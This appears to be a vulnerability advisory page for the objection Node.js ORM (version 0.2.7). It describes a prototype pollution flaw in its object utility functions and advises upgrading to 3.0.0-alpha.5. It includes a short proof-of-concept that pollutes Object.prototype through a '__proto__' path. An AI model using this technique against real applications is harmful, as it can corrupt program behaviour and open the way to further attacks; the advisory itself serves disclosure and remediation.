objection@0.2.7 vulnerabilities

An SQL-friendly ORM for Node.js

  • latest version

    3.1.5

  • latest non vulnerable version

  • first published

    12 years ago

  • latest version published

    2 months ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the objection package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    objection is an An SQL-friendly ORM for Node.js

    Affected versions of this package are vulnerable to Prototype Pollution via set and zipObject functions in lib/utils/objectUtils.js.

    PoC

    var objectUtils = require("objection/lib/utils/objectUtils")
    console.log("Before: " + {}.polluted)
    let obj = {}
    objectUtils.set(obj, ['__proto__', 'polluted'], 'Pollution successful!')
    console.log("After: " + {}.polluted)
    

    How to fix Prototype Pollution?

    Upgrade objection to version 3.0.0-alpha.5 or higher.

    <3.0.0-alpha.5